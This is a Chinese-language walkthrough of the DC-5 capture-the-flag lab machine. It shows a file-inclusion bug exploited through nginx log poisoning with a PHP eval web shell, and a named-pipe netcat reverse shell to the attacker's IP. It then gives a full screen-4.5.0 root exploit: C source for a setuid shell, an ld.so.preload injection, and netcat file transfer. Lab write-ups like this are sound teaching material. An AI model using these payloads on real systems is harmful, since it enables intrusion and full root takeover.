扫描IP,发现主机 192.168.163.131
nmap 扫描端口
扫描目录
1
dirsearch -u http://192.168.163.131
访问 thankyou.php
发现页面每次访问年份有变化,猜测有文件包含
wfuzz测试
1
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt -u http://192.168.163.131/thankyou.php?FUZZ=index.php --hw 66
查看passwd文件: http://192.168.163.131/thankyou.php?file=file:///etc/passwd
查看日志文件: http://192.168.163.131/thankyou.php?file=file:///var/log/nginx/access.log
日志注入
1
2
3
/thankyou.php?file=file://<?php echo qazqazqaz;eval($_REQUEST["cmd"])?>
# or
/thankyou.php?file=file://<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -nv 192.168.163.132 5555 >/tmp/f')?>
蚁剑连接成功
反弹shell成功,find判断是否可以提权,发现 screen-4.5.0
搜索相关漏洞,使用 41154.sh
进行提权
在目标机上直接执行脚本失败,在kali上编译失败。
在centos7上先编译再在目标机上执行,成功提权。
过程如下:
安装gcc
1
2
3
4
5
6
7
8
9
# 1.备份
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
# 2.下载想要的源
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
# 3.清除旧缓存数据,建立新的缓存
yum clean all
yum makecache
# 4.安装gcc
yum install -y gcc
创建两个文件
1
2
3
4
5
6
7
8
9
10
11
12
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
1
2
3
4
5
6
7
8
9
10
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
进行编译
1
2
3
4
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/libhax.c
rm -f /tmp/rootshell.c
编译成功
将文件传送到目标机
1
2
3
4
5
6
7
8
9
# dc-5
cd /tmp
nc -lvp 4545 > libhax.so
# centos
nc 192.168.163.131 4545 <libhax.so
# dc-5
nc -lvp 4545 > rootshell
# centos
nc 192.168.163.131 4545 <rootshell
最后在目标机上执行
1
2
3
4
5
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
查看 /root/thisistheflag.txt